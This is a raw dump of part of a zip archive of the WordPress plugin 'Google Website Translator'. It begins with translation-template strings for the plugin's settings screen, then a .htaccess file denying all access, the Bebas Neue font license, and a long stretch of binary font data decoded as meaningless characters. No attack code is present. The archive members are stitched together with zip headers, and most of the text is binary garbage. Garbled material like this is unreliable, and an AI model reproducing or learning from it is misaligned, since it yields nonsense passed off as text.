msgid "Right" msgstr "" #: classes/config.class.php:310 msgid "Show flags over translator" msgstr "" #: classes/config.class.php:311 msgid "Sets whether to display a few flags over the translator, or not." msgstr "" #: classes/config.class.php:316 msgid "Yes, show flags" msgstr "" #: classes/config.class.php:317 msgid "No, don't show flags" msgstr "" #: classes/config.class.php:325 msgid "Select languages" msgstr "" #: classes/config.class.php:326 msgid "Sets the available languages to display over the translator." msgstr "" #: classes/config.class.php:327 msgid "Languages order" msgstr "" #: classes/config.class.php:328 msgid "Defines the order to display the languages." msgstr "" #: classes/config.class.php:341 msgid "Test mode" msgstr "" #: classes/config.class.php:342 msgid "" "Sets whether the translator is in test mode or not. In \"test mode\", the " "translator will be displayed only if the current logged in user has admin " "privileges.
      Is useful for setting up the translator without letting " "visitors to see the changes while the plugin is being implemented." msgstr "" #: classes/config.class.php:347 msgid "Yes, enable test mode" msgstr "" #: classes/config.class.php:348 msgid "No, disable test mode" msgstr "" #: classes/config.class.php:354 msgid "Custom CSS" msgstr "" #: classes/config.class.php:355 msgid "Defines custom CSS rules." msgstr "" #: classes/config.class.php:363 msgid "Hide on pages, posts and categories" msgstr "" #: classes/config.class.php:372 msgid "Pages" msgstr "" #: classes/config.class.php:373 msgid "Selects the pages where the translator should not be displayed." msgstr "" #: classes/config.class.php:383 msgid "Posts" msgstr "" #: classes/config.class.php:384 msgid "Selects the posts where the translator should not be displayed." msgstr "" #: classes/config.class.php:394 msgid "Categories" msgstr "" #: classes/config.class.php:395 msgid "Selects the categories where the translator should not be displayed." msgstr "" #: classes/config.class.php:405 msgid "Javascript callbacks" msgstr "" #: classes/config.class.php:414 classes/config.class.php:425 msgid "On before load" msgstr "" #: classes/config.class.php:415 classes/config.class.php:426 msgid "Defines a javascript routine that runs before the translator is loaded." msgstr "" #: classes/config.class.php:436 msgid "On after load" msgstr "" #: classes/config.class.php:437 msgid "Defines a javascript routine that runs after the translator is loaded." msgstr "" #: classes/config.class.php:447 msgid "Templates" msgstr "" #: classes/config.class.php:456 msgid "Flags container template" msgstr "" #: classes/config.class.php:457 msgid "" "Sets the flags' container template. New templates can be created if the " "provided one doesn't fit the web page requirements." msgstr "" #: classes/config.class.php:469 msgid "Flag template" msgstr "" #: classes/config.class.php:470 msgid "" "Sets the flag's template. New templates can be created if the provided one " "doesn't fit the web page requirements." msgstr "" #: classes/config.class.php:482 msgid "Other customizations" msgstr "" #: classes/config.class.php:491 msgid "Translation banner" msgstr "" #: classes/config.class.php:492 msgid "" "Sets whether automatically display translation banner to users speaking " "languages other than the language of your page, or not. If the Display " "mode is set to Tabbed, then the Completely hide " "the translation banner option won't be selectable." msgstr "" #: classes/config.class.php:497 msgid "Completely hide the translation banner" msgstr "" #: classes/config.class.php:499 msgid "Don't display translation banner automatically" msgstr "" #: classes/config.class.php:507 msgid "Multiple languages pages" msgstr "" #: classes/config.class.php:508 msgid "" "Sets whether the pages in this site contain content in multiple languages." msgstr "" #: classes/config.class.php:514 msgid "Yes, pages on this site contain multiple languages" msgstr "" #: classes/config.class.php:515 msgid "No, pages on this site don't contain multiple languages" msgstr "" #: classes/config.class.php:523 msgid "Google Analytics" msgstr "" #: classes/config.class.php:524 msgid "" "Sets whether to track translation traffic using Google Analytics, or not." msgstr "" #: classes/config.class.php:529 msgid "Yes, track traffic using Google Analytics" msgstr "" #: classes/config.class.php:530 msgid "No, don't track traffic using Google Analytics" msgstr "" #: classes/config.class.php:538 msgid "Google Analytics code" msgstr "" #: classes/config.class.php:539 msgid "Sets the Analytics Web Property ID. For instance: UA-12345-12" msgstr "" #: classes/config.class.php:549 msgid "Import settings" msgstr "" #: classes/config.class.php:550 msgid "" "Imports previously exported settings. Paste the previously exported settings " "in the field. If the data's structure is correct, it will overwrite the " "current settings." msgstr "" #: classes/config.class.php:558 msgid "Export settings" msgstr "" #: classes/config.class.php:559 msgid "" "Exports the current settings to make a backup or to transfer the settings " "from the development server to the production server. Triple click on the " "field to select all the content." msgstr "" #: classes/common.class.php:836 #, php-format msgid "Add the %s." msgstr "" #: classes/common.class.php:863 msgid "Title:" msgstr "" #: classes/admin.class.php:170 msgid "Google Website Translator" msgstr "" #: classes/admin.class.php:171 msgid "Settings saved." msgstr "" #: classes/admin.class.php:172 msgid "Settings reseted." msgstr "" #: classes/admin.class.php:173 msgid "" "All the settings will be reseted and restored to their default values. Do " "you want to continue?" msgstr "" #: classes/admin.class.php:174 msgid "Save changes" msgstr "" #: classes/admin.class.php:175 msgid "Reset settings" msgstr "" #: classes/admin.class.php:239 classes/admin.class.php:242 msgid "General" msgstr "" #: classes/admin.class.php:241 msgid "Advanced" msgstr "" #: classes/admin.class.php:243 msgid "Premium" msgstr "" #: classes/admin.class.php:244 msgid "Import / Export" msgstr "" #: classes/admin.class.php:245 msgid "Settings succesfully imported." msgstr "" #: classes/admin.class.php:246 msgid "" "There was a problem while importing the settings. Please make sure the " "exported string is complete. Changes weren't saved." msgstr "" #: classes/admin.class.php:247 #, php-format msgid "Google Website Translator requires WordPress version %s or later." msgstr "" PK/—[³yd«cc-google-website-translator/languages/.htaccessnuÏÃ6Ç$ Order Allow,Deny Deny from all PK/—[·Ò%‡<google-website-translator/styles/fonts/bebasneue-license.txtnu„[µü¤____________________________________________________________________________________________________ _____ _ _ __ ____ _ _ __ ______ _ _ ____ _____ / ) / / / | / ) / /| / | / | / / ) / ' ---/----/----/___ /-----/__|----/___ /----/| /-|----/__|--------/--------|---/-----/____/----/__---- / / / / / | / | / |/ | / | / | / / / _/____/____/____/_____/____|__/_____|___/__/___|__/____|______/__________|_/_____/_________/____ ___ / (_ / DHARMA TYPE FREE FONTs This Font Software is licensed under the SIL Open Font License, Version 1.1 FAQ Q_ Can I use this for a commercial product? A_ Yes Q_ Can I use this on a web page via css @font-face? A_ Yes Q_ Can I donate $ to you? A_ Yes, You can! ( Paypal: info@dharmatype.com ) Contact_______________________________ info@dharmatype.com Dharma Type (http://dharmatype.com) | |___ Flat it type foundry | |___ Prop-a-ganda | |___ Holiday Type ______________________________________PK/—[râJ"TJTJ<google-website-translator/styles/fonts/bebasneue-webfont.eotnu„[µü¤TJ|I LP/ K“úU@Bebas NeueRegularVersion 1.002$Bebas Neue RegularBSGP”Ô/6/<ÿtíÒFvž©©Ž‚$ið1ž€K• õps­ Ý$‘V2 i$q¿¿ÿÍ9KùEöÈ)î•Ä£S$b‘±ƒ¤¢Ÿ·å°¥§[‰ ²™«dN¸,(¨ºš¤±ð€“_lÃyGe 3äØT/pˆŠÑPÔ¡²CsõÇ9‹fg)ü·äÞ*¢«Æ‡/a!ÀZ‘Y…ѿ俚ƥk֬ƺ˜ë –#XæäŽ’OÍJäŽå‚YAm1'¨JLBÊü©>ürá z4É]+7DbΘ¤‹TŒYÂq¬‘_¡j6ýøZ(>;1 \‡ G`U:`ü6^]¯‚–hºÖ',9¤|«Û²ÀÝ”7a~ýŠ·TkQ k€Ö¬Gà–#¯è -g'ÆÎ|ŸÛaàú#­¡»=[ãÂÀ‹ÚB‹*?¤û`xÒ«Ï&Ãà÷s¦~寂w:n^çèëG½1ÉÝûß»© ‡Mz”Ðb:ÃúÕú½†Zˆ€ +$!6ŽPD`Á!R8>—C °BÔyn»Ë~·Vkù²»Ì7Ò=Ùg‘ 98Dƒ×ôGKS(¢Ý™ëÊ/£®Éˆ)©ØqԪ؀Fô-¿9Ïn½¦6¿X:äÍ9X±6e«­_k XÚÊÖwq°62·>ØKe®ÙÊS¤Y]&—s°)&é½ÎQA9ò>»¼Œ…:GüÉdI®œ°¬“YÂÉ ‰ñf  Ï+V E<¤j1uDTBšÀÌ芅AU1‘P*‡»ïØ©¼¨ )¡jR’§àH‹KФˆ½ŠÑ›îö/Fo»²z3}ÝœFo;sÔó·;@n:³ôãkT@[6˜m~Ù´Ãëö­¦$]µlñ9vԳĵ{BËÕí ¬qZ̪¥fÕeU%6«*­ú­YU”U«"uåF±§\Pj1õ¡ŸA¤gÃ&4 øDÆŸ–Ð3bÚlÓS8ÍœÒÎ3fºYáÞf$H ÊÓÈ3‰ûDdM ÚAž ¡EbX µf–‹VšXF-\ÒÂ1j×CÅ¥40ŒZTÈÂ1if6‹J¸ØF,f6‡c`qÌlø›Ün5OÃ¥¦6‡Kll6ÄüaDZ0ÑÀî"8Ä‘ã‘ãD'¸ÙãÜÈá€ÜñÂÁ¹Ðág˜/îÏ0¿»<Âvy…_vy…~öy•ûÑæP÷s¼ª÷s¬«÷s¬Ÿ»dîu’¼Üë%ó¹Æ_ÎçcÎ2ëÎ2ïŽ0þv7Ãìo‡\ìo‡|ìo¿çc}ãM÷×›o¾56Ûñ©¶ÑƦÛkM¶Þú›l{êm°7ÔÛb·ÔÛb÷ÔÛ%ï©´í—ÔÛ%êm“ÃêlI…ô7À$R¾u²G/‘®a—ÈÓ0Rùæ,¶Fy“…ÈÏ„ÈÏ23¦™‡b¦Tâ(¦FqÈÎ#E23ˆÀ¦Fq„S#8À dg¢™Æ #y˜³Îx]Nõh» ÇqơՒ8ù ˺\YM²åî0ÙÉu¢Œ°<>­±¥_¬ÕP…é?r€LÃpâ!vŠË9ñõM4Õ™Ú:@woÐÕª1¨K†nkhý¼Œù ]h2ÑXA2dfFc‹À\!BAäL¯ j=誒ºÒ©óˆZQå)Q)®Ñ®./jjeQéo$Ñ•´¤pfÔÊ$š&å³m1±éD›Ï<‘æÁÁF‰!¦'ÓaÝî,Àç ÂÊÙf!•™ò)–*?*cÙ5c„üRÃ%»a|ómÈo–*=$änÛóúCb£&y±××ws™b¢T·E¡"*p‘J…ÒJ•(ÒÅ£Úb£ž.æ¤ZàF$QA(¶ÎÅaE_;º(͸¡‹J-E–¬Ú‰! b3`’âC ªÃšF‚ªrI?“Á.`¤÷6¤ÏŠx+ú}ËÀ'A“åîÝš Ù(‹jÉ9‰“ €DÎÊàˆ°VfA²NUšQ^‚Q…è%à@† –@{#=ì1ÆöJ"{p¹ùì´ ô™½ÍœÎ›Å®ä®ˆ!ÅÍ50bí@>!Ç_ˆq˜Nñ2¦1Î\ëê¤a2Û’0ÇKQ(Vñ¬Òã»´MÑпˆÐ‡›ÛµfA˜jE4ݿٓÏ~,ž710$œÉ]&p%AEæFM@‹6èE2™K®€¬=öq°L‹Ù²Å,ÿáO*%¹¯·¼cúŒˆÞ:å5›\‚àÞÉr³»ëÖ‘`µw¤;£.My·¢ÆÖFæ?¯›ž±> ËÃÊç…ÄÐÕQDÙ ž\¨ {4*(XÑ„F d-Ë;-./-ލ­žE1zd‹„îÂñ4H%}>B§ JEQ[Pqz’ô–VYÑ~‰Å¶¿ÛjÂ5ÉÐDù<¤i|BªýoÜfJmß·½EçÕçkªóKy™E”q^7”jr™ÁMÁ™ÁÍSêþ…`£˜¹^•)‡œ¨-Q•6€7õý;bîŸC»Ü˜6ít4³†~4 BÞÄ_Ôz4ü{^˜½ߪ/„õx{Ò«á,ù\}ŽÉñÃ}+ik`}, ±³ÖÙ> #¦ÕDëtî›ÂŸR¥v2?vTÀwý“³1LçÒj&uÙÒæÀY3ƶëáú6ï£sé?£éÙ\6 ÿ 2Š< Ý.7ªÛÏܲ0´šó×þ6ÛòÆé~h“çǨ¼w줱:gÓ ¼6*nI×ÝxwÒ›·iÕCjà|kÒ.p '‡”ϘÌòÛ7}úÁçn»h`g€± ‹ô„‹ÿÏ,?±Vüc/ÅLÅ Û<"û¡E´ÝT ¢ÝMÀÇXK±0¢gÙEË>‘Ù&ÃÆGÚ5u.ï÷f(#Šsòª<¡×ÛŽB¸ØÍü›Õh ÚH B}g•R oUã‘ |À êž6ôÜ] =! |ŽÞ‡·±ØÑÍGp¡ æÐIo5̺h@Jî |&÷ê“ÿì0÷ÎÈÑL—¡Ä»ƒŒ«§ /ŒdeËð<^EØaçî@Ùy” Y§ó¿â8AÛÓ‘$¯^µºJ2Zù•ÇŒP3Áp8ÿFÈ”¹FyÀt0Ná?í–¾ýbHŠO°9øT,Ïæ’Ié ï/žV­œ~ô#Akv"xñJ*ÈX“úÂ>X ÉËÊSòÁÀÃÕ&2(7nî5jÚ„’~?R%má¾–¨Å›uWH§`IAü/Ì©mQßË?Ü`[kÔ &[¤ìãéÙ'ø°YQ+ð¯ö‘ÖlþèH ·öÍÄÍÈ/ä# Å*`µqÁ³7ÀFÇ7Æ*·ßÔ©îÍwž›uÐî8Í—§#¿+±tt‡Vƒ „ã ­–?ϲ»èˆú #ƒ+Êþ¶“Ùnä–•*Ù.„‰ÞdL#| 0p-iÉ•,»»3:ÅÍIœ>BT†ŒWÙ€{ˆ§B¤ó•!¸?͆Ê:0à”²}§B ²ú!ðì4Æ&ÉÆ‚fðìÁ;D€!Ìm®À6Q†?`Y¤È ±í³ÇÀ²0B¶|›îš©¦|‰…Hçè!ƒb§2Ó06˜¥;&a¹Oe‹ÍM ào—…íw … hò £Ó>=Žj}æœó!:¾ïžÐô 6Çøîî˜Õnì…ƒ3ÃÉ_“ÚŽ‡f¶ŒæÎ$x çøw œ‚/±ä/Øs“M˜ÄÝEÀ<1€@rÜ>¶Á]æÄù<¬'€lGnékYeM8 v e:¢*#ªqÈ…Sï8ögœ‚ ÝpL÷§'ä¨ °Haà=†6¦Œ8Ô)=*¸lÉBñ( ¼ì=l>JîaIFÿä ÷WC0y&˜+IO|˜‹›„T3º††œÔ=ž¢|x¹»w˜€A¡Ê&1¿ùãG‘œDFdÜ…,òn‰Qú¸H’'Ç!åœá ToË76-‡>ç|›iô.Då<Ì$xja _ ÑÛäC¢'äëÙà;hOQ$QlûJz«†U€ ´³ݪóÆp`@6pt(SÕ!¢L΂G0ÐJx"b‡Aê D&(H,#q‰´ >›åu(jα4F‰¤}Ft:Ï # Œ]O8Cš$’ïRç NÍ…Vmç”…½ #:>,,–ùÓà\¢‘h mëÕTšø%F°£‘ÁöôÐhäBK§7fÆ%6hûDÞ…´ñ+”c‹ä@Z"_wÑ ¦sÜ-9ÊE#b}â¦[¸‘H8‚)Üà°£&Oå¢ ?ìk) ,ÕN¿ÙLŸ ”¿b“N%JRè|Epù¹~bee¦š†hÔÊ\¹&”Ó0úÑÁèb,¶~)[Gç1Ó£à`~o˜…bch$œµœVY† {°õˆµZV6Ò‚—õï1¿ˆ•Ž/Ú®=¿rñ½Ø†ÅAhÀ27¶tŠíL¶VüìWt·I½È­­ìQz†m}t(&=÷¹¨d85Ñ¢$ˆŽ¤ÞGló,ºDH lÚy$ n+÷j+æ‘⌒©à•¾<âL9F•ôÕ—¹pŒe¢ñ£(o =°èSìð‰0êèvª,a0‡ÿ2=$¢ýÉ–ˆDÈñLÿ¾ŸýøÒ¡Ó¨Í»dUÜ}—-7¬ÁS†úlƒ1ZhŒ‡ŽLŒ®3óŽIYÿœOϪˆô€!£¢¢ Áв•lälJà‘ÐçÞ¡ïÃéÜØÄ"*¡¹’ Uä+FœLD&‘´´ùa*GÄA/1ÆþEƒÆo{‡a£^Šß7Å_ )î?÷àX±ôÈA«Rq´’ösÛ&l÷0}:ÙDî(±xϤ`ŒRÇÂ9"`…` Dµç1´Ã„€2GÄÓ`œt¹¦2ØaÂÁð äÀ0uÌîÀ@cèúØ ,À&Ã…×q4!á…ðx[IÊDdfåFB2¨Hfã.ìàÂ%ø . ’”tyñ÷•Ê©?%lOᜬ·è@höó(è¸O|Ät~Ì&7´)”¿œ­I³ÒBDƒg¡îÚЅר˜'«†ƒ¨f—"‘]®àèIü´ˆð#3±½ õ(ýl%€p~º8ÒD ø±ËÆu eÐi¹1ô6 :˜L2l$IÙTÛøb:‘Û¯'<‹ƒƒ<Ò’ Ž0!ÀkÆÕ'ÿuêd ™üƒ°ûâ(Ûx:ø©Ì¦'ÿä}+‚¬ (%þÔ±øË#g¢O8hÂÆê‰-€[dƒ®"±–¿DS´¡¢,d€hËœEwüYMI!˜‘š¬°NU}a!ZPÔh&ОÃO&¤Dðz@~‡ê $!B(‰¶¢'J ^‹e6Ô)Z§Ç¸„LA)¢Àt>˜T´q e<З=,J;mÄ0éŒ(Sˆ8}…¢ô´²„ ”q¥)qa;V]Y‚óqÉ@gœ«ÙM’çržñ+4Ê•…\ @›©ewè)0â*d¥Kœ.6˜JùŠ8ó‘'(#p! €–%4‚mCÌ2ð†â:$Ü4SX"DMž4[As/(D ÿ˜Û}ÜSS„:éYû{#H’ÆN]Iå@ Y„‰~4m‰ϟ>§ölÚ.¼ê3éh~ˆh^„6á§0S ÞÀ®S<3H¯Z2‚ÊàAØÊ~b'%NÀÙ¾j¬Ì³{dˆù…6¢4k¹ÊpV›.eÄÙfÔCP@Å™@™ºPÑ|!n‡¤ ÑWá°˜|\Æ * CtE nK_#O±¥a™ùü³MÔZpb&þwp_ÍèÈ 0”¨ßÆá°)´ˆ)!‹¼tÁ«1…¡ñÇ+ÇaLuÑ8þãvÂrý”ÑÖ‘l1Ó¹ûz|ÂBAA‰Ú~.®^á#‰&¼&Wc „*Z¡V‰ ‘x@xÕ<â:)Ë#­lVál&;*MRö9c¦'ßj6ˆžÄF±J@V‰GÈŒPh Cj7úsy¡±¢fÃE¤@'èpŠ”Ñ€A•S…PŒ‰d5(dªl@M–Õ“ãrnT±[u‚8(•¢.ÎÑ‹Œâåá N‚ é>ö¦ð•MéL*à ìð±Ã1óMƒC‡$“‰qÓa8b¹÷þ‹Ù_’æ¡á¦ ­X6$Ä›fgÑ)Õ‚Q„ç§B)9õ¢lÑGƒHÃc­ƒƒhg+LzÙôJÖªü•ô“€y¾Ï­âÜâ\G è#E€yÊS‡¢˜~*D2 k&5Œz§ns¢Þ å“ ÍR@ßÓ>9œá$·ŸN5*o_)Æ(Óœ¬T38çê/th%ïtPY8J«›¶â1¿Ò¶üÌ)Äcû‚$®UÀU™»58’3µˆ'‡blhÙàtGZêŽù¤r8Ëi¯p°SíÂ,".ò=5’E·Ç¶óPT¤íì‡à9%çÇ©émHöSJiuI ÔÈ)mj3)Dwyȧ(”¤òZž¤*x"³MÂê%Jt”'Dª$œt(U¢( Ðh"šþ¶}¢ù‘ Í#UlÆeenÇ¥xåA>d—(²P5³­ÊNPÜ0}ª˜Ä f¥Ò¯êïJýÆ·­B:Â&¯Þ,GN?s‚{»NP¶È ,“Íô3]Æ¡A—«1Ü=¡4¸ MŒçgrˆ¬ÃHÀÒQÈ"*fv)/Xâ‹9oÀºÆYúô/œ‹¹atræ—¯Y+ùÚ‰/Ù•;a im†‰:n#»â•úBn/hÄbȱï>îۆΉf­u¢xÎûp\C–²Ýò`Ţɸ¤d{—±±¥»0åwåH6åÄÇù…Ó°Â^f¹MQܼ|ºm¹4xcÅÇ“j0ðe"Lï¬’ŽøÜ}/òt¤—¼ÙîÖd]aw}~Vò˜N%™P Ô]6=i–±nc|{¥`=¬4Z<-–.ŠsWêjü‹ umëçsg{øt­ò³®&㥠 Ç Ì6¦¸#§Üâµ¾ËØØí”$`…¼ƒBT×+¬]íœAz…cè!µKi€o |ópt ÅY Ï}?ÏÞÄiPŒ§*÷-éÔ@»'ò…h GUzÐðìàŒ˜ ©×³Je¢ÂÈ¡`´jŠhÇ HO£¿¢A©kΈEyÝÞ PN^‡3+ùºT)!âÃ@\Aƒª@ŒvC¥ÐéÏpTùäEC4Þ^4/ IêCe^•ÍLõMy2§àô4‘!ÎWæ*smÒô¢V(®”_ˆAÉýÖùŠþYÅ0!m'q†·&OvÇU­è‚†;¶0ÜçîË‹®ÔLÉv“Œ$ŸD«év¯“QÒ¬šsÑ4oºLG€„á·ÿ]­×~t½+!AÁVoMhaœ¢_Ivå$þ\ü) Œ† O¦ŸJ‹Bµ¢Rfkt•+ ¤•B÷2goBbÑ0ž]|o·{Ž{Õ`›ó;qlòºJ¬ï™UÞ.õÓhM[“‚]‚SéÅn­™‹7(Zz¥ÉÄ A&žŒlŒÑ\ž%)8ÃÌ>…¢—¯qÅ\‰Aïw›v!㦼…²†¡ºÐÁh«ä†È)5 ÀÎØ9Úô”G¼.×Kìrúèûã-âû ØÚƲÌ(žÍ[“ Msáßìà 8ßßÒLL¾3Ë„…í4m™J`ŸIÞ©i™¸)4M ¶ Ô™Ì¦Š8IC$†³EÚ\ó B‡·{«ó™® q})Ô:áSŽÌó%‡/:|Spò™ŒÆ±Ñç ‚tVptè~|@Fª ÁL´®FAïïä’©¸‘ã‚$^‹‡@t‚1T`´Ä€á…„X½—Yƒ’ã¤ÔiQYs+eŠû}E2±â'ªeåörðÙR¦&=äúdŸœ#FšLy !WÍ,oTÀÒRþÆ$Ŭ¬š]ÜÎÛjžVïã†KJ˜aE„?¬¡YqƒB{)äö% nLo¸$P&ÑC¬Ù­ê/ȼï`¤'*Ê’ŠšŒ)ËäRùÇH´„ÖèG‘}‘Ñ‚ÆG$%K(¹ƒ%Ô«P 0„ÿ¯£¿%dpǾ֞¬7?Z‰0þEþU*p6V­ìAëñ¦Jœ òŒÈTçXrxüB7M‡áü!ÕWeË8ço!‡« ¤:'2)Užü…" Õíé/ßj’¢OÀP;OÚô°7²¥;&„´PAË̳þ Ð!HÐÔâ2\ÆË.µ²ÄÔT:É[õpП¤,}f‹[Dº\ÀÞòhã©}ÁÎÆldKÓ͆mÃQÄ3&ͦ€Æ´#Þ:¡Ú]:N+@ØÄ±(jR³…›G‹ÎkJ"N^L¹ˆÍ°­@<`!AAH’YÒHü“8²o†Œ¤PLÇ6 Kþ‡nVeéùâ<"à ?¼¢ÿœ‚É06„¹Ž\š˜'ÔÁcQIƒšÝØòüa—Ó\RadfgšÜTS¢–¿lhÈU& šëfóÄu7#Ö:D\G¨_hkìô2 =vDŸ >âÖji„¡„½#‰ý³5õó, -§pät½‡;k‰î¨|°ÿ$0lÞÚ!Ò“†lû‚"ùBÇB/n¯ÛgÅyÀ Ñ’¼õO¹#(> ƒ÷ÃÑtSÎl“©mB‘Y-¢ k2¹oÒ,31NÓ´ÜÃtÔÚrg¬Èò¯!ƽ 4PÔ«qó7óÈêô§Ú=ú½(6@Ëš–~áœ]OI© á­Ý#hïL“ÖÀDJåˆSÇ»-$ñ¦ôƒmûfffžÖéŒé))1} ÔbçŠëAM¬S€ßï*Ñ‚·P s¸ÀÀFˆ~=[׊]ÌùWZw·HÏi\q«¬VîXl&h#韤ä.—p0š|騹ïECÄÀ%OòÿòÎçüÇ …Äpä;6PJE³n«Sޏ…Ç %&”.\m–—»j”Á\/¤pQ°±¸µ@‚ Ù2j-Çà’Оºû6ü‚[:eãÙw`ÛwFHt°Ô‹¯ë:$ÔKÜS£CÊ•&!ø ;ÑÆ›½ˆçr˜njR+ʇР¦%üj¬=bG4÷…TuC‰Ž^Wr©1?î›Ö9mq|Õ+ “›1[æO·¨4Û”¨ÃJ‚ ºˆB ËRÍ$ ¨ºªQõK’h+ºOd@éѽ\OÁèM£_ouRö~¿¿¡>.Zic$+æ ŠÑ…Ü,D*?BN!Úò«!Ú­"i9/{vgÓtèL9dÝA7`s<‘¾á› Є¸¾»—8s?Ûk&ÂY5¾œÔO‡òàFUúú2óU¥pm sàNs—…­°á \‚Ãθ‘‰â ´p27ªw pàÜKñðgÞEqü uú¥àœ„ƒÓ©îü*i8¡ ÅÓ *q@Ž9S@ü>XŠ…òñ3­^Ïñ|åE"ßvÀzY[à×ì5&6Ít` Rìà• ÄFèÊ©‰zFX—, +úD¼½fÊm€]H}"Rê¤2·`H•¹ïóý(+ÝÃëm°Bü,)( j€!]¡:ÀÝYwE'3@1Ç™´ñö0}Ã’öFÅ óà³Pý£€)ƒ·Omtê³&Äþ&lpwÎUÉ¿"ˆà(Ž éGoUŠôRbB“VwUûWÊJ7 HÃÅ/~rÖÙ\IA©#8ˈâÄÓ8’k±Úº¥_þÖ¾.áç|á.D3Ò\fÀé­Ào;Ô…HÕ"NÅì.V¼J qg1PlŠƒØT ‚ÿE˜…A¬P Ámé@åNˆêÃ%¶fØ|–=˸èè‹/þI ÝG½è’“Ô¬8 }øîqýZ«`v^aW_å{I'ð_ãÉ©w@R´ÄñFx®ô“ÁµªOÿe\ÂÔ·´””†„1á\±‚Ó“ V˜„݆c^1÷9FÚa•ÖcÒi£>HÚ±?<- ñˆÇ=ò®ÕÛ†Ò¿Dão·5âœy¥°ï¥gµÜáÏõˆ¬ƒS/võ°4þb‰X(sð,ˆ)ôþ…W.ˆ#¯6¯g@½?,̼TMûÖ5¯Æ?jGÞ'ž¨ õ™Sª«r^¥‘2§ŽÈ\2Ý@-3fØÒrîQ³œ¹áLZÚA3Sw³r{Žë|Μx[ž×-„ƒLûÁ‹¯˜g"’Àvl¦ëé4)›©ãÆQ“hñ¡%Mx#/Y×@™÷¨:ýp ¾RÂ}–Çó(¬ÈyÍMå9SWÑù~‚ý*&»ã¹rV9àB¹À™íKÚûvú´GÅ÷6Õá2LQ^ óN6ê\húÔÞyMó—ôÙ¯¯Ä{³¢lÙ²0EÃÊõ‰$F~ù7qJé4¾d§§Ö:ÕÓ€±¦úž–ÍÃ.哆&„f@þ~ ä¡Â÷:¿‚|ÌÔÞÛ6ºú,zrl….a0Ó;¸½û Úg³é„øêÊÈùwÏz›ª’Ø™«ÆoAË?ImñmÛN¹«øýªðÝëïk¤×ÞΰDµö·i\x¹S%‹=râ2~ßzì³3ŒÉ£½˜CÒ–gÞVmvÕ¤a×8³;Å}ƒš›ËË 2­63ö›ðýÒÕ[DFƒºÀxÝ—¼åm%ú³Äg-sµ¡õnåIɲvaÏùÍAþ³.ù®ôün"mGlfuÝ#*/îͬ=ñx•inrÓ3U$ã¨:M°YÎcÏþÈXFäf]^xk;I\`:ÙæÁ ÕˆÏá‚?4βS:5äºiºÅŒíÚSØ?—ÞH…ÞÀ^Ÿõôfù:¶Ý0õf5/^@!ÏhØrBÔt!ž•€áÍ"èûÔgßÍ»G,‘Óx°Ü‰cjQJß×P‹ rr(T‹Ù å·L¾WyaÚ–6úÛth¹L¸™I«§¨J3ß#›—™Q´„ZEŠ ¬KX‹šï7$¦<Àÿ±+Fw¾N ¼4‹†P/¯T@ñCi<¶[ñFÄࡹã<£ÃÌ>­W²>Rb —!«T`N¢XSr˜²-TÔÒÀÁ¸ÚKâÓâ¦d[% íwÄkwt½+Js Màm~— ý…½£@¡hŒ¥)å¾J¤öÕ`ù½49³…Rr*ôY©T™~ˆ¤Ì_“Øô”Añé-0_§ãpž©*O ñ™N¤q˜tUU§Üg×ÃcxÊa¤3Òöç¡~2Ò’–›U¼â5.âCÆPM8ÁÓšeí/ÆhC.{À"Ä8¾CñË0aÇ,7`§UäŠH?ì?ÿ‚è òuÉXDz[nµ'Eo—(küNª, ð¦`™B@²¡h5h¿ i" ú“q4Éô.Ðežƒ,–€0-Ð)Ê¢ÁS@ZÙ(ã*hÐF…¦fd“᪠ÏI@ öîäûÐí,è£nβÖhbBž*SÐ[°bu;˜Õdß-  •lŽZà7§t±¸ù.â?€ãM ½›Åx úJŒB…ˆ–AÙôA‘D]hØ ²IÆ‹ò?Î(ç"êKsª Ââ,`‚(ôîý>±îaùZ ©2….Ãa'wgmchBÌE´¦ÒÓù”!;o‘´œÛmt2£WI+ UÒBìÊœBÂbf±«Ñ&Ó„Šeá½,0~å„Bu&6óh<±Å² ÈXNHE S”èÀ`ï{,w~:Ïàw^ñísP‡öŒ©÷‡jIêÁ&€åÝŽ~a€ ~¬dÊVÐNäÛ¡Ä:À|b›°1•+ûû•aˆ¨/:0±¯òÐ\yÙ¥‚™×8^²¹Ÿ¡^¶V`)'-3…ÝÍÖp8Ì‚¡Lh¬ýDªˆq /‰Ø,"rÅ’‡ægMB~V¢ì¦Ø`Ý¡Pªœùc#¢ó§¥ñ$Jj¼qÉiP¦Ìí€uDC ˽KåmöU<Ã"5p+lpméq鵉éû‚yȸ3¦—ב…˜klÐØ-Mqdí³Ç«„ìcƱâH؆Ôê“Fé§òrï{ÝÂRfKÆW—ÅÉrœ#¬dþÒ݆A_Acô¥¾øtÎ11žÁŠ ä¼Ó–Y`e»wKl‰ñØB‰Y Øǰl¾¼%PüàÁ@Ú ^ÌFò]죣ތ¬nXªÎ‰ ¡ŒB}sÛ8ÆÂLê :X€ó ¬OРè–éÎüØ›¿Ø´¼\-¦+:D¨0­N¸^» —JÁh=”±ÏGõFèÚ®aò{¢Röí¸}¯N…©>לž¶k&·ÎP„øÌº& sqc2‹…¢&0ðl²#‹ò%šÂix‘_AÖ,pG@ÙÀˆê‹$3,¦ ñÚ%×£Õ@ÍQð¢*ã鼯ŸA5†pȳRw™ü™}£p^fOg&-ºÀ¿mgHv¿UTz×0ø2%7š¯>ÿ,Å9š‡>È]16BóØ@•”8B£s£e]¬¹s “¯a)¬]\ÝY´œÝ]ÊHí= ª£)¹iã êÍF¯þ‚³4ò—âX´¿eNb'«۩±Pê%?0o¥¯Kr ûagÒõäLæ.r•Yÿ];êðEuñÀ@ 8x›ã\Er›.ßæ×û=ýOâ²<ရl^cKû‡fþñv\ƒ ÎP3Ò^Uí¤_Ïîa4¬x&Üb¶'m Á s@BEíãÊFá›é°8@N&…(`Èè`ž]–}`Ì—SÓðëÜÆ¶d8ÇoÓáòˆôeú|g¥uâ~ó:¨±œ¢ÁBò•å‹7r`·~ˆWg³X6Ç'5„ ®8ñõcSÈœmDÅ ÇÉA·+´ÍÐ’á Ê1ÆXd€HMÀkÓ€ÿ°¹ñò¦šé7I–JwÝ.éä¡ §)ÛA+y´×™úKpÑgƒîF„)ˆÞýHÑ×±:˜rÀº‡H‘T¸qß|y/BQH!Iÿš”ùÕ&‡¥8j ÎÑá:릇çÉx!¢(U³±brÜq8#•8ÈlRⳄ8\wwz9¶ÀïîÒ(Ù5FR%[ÈŽ<³ÊƒI *HÂd ‹%‘ÿ¨­H}È!,[È:'ô¤~\Hl°p}˜2þW,Û 룊F¦9r$àÅøˆ˜LôåÖ¬¹_Ù6o'.Àó%quƒ ñ—ÞxJuÄaAŸk 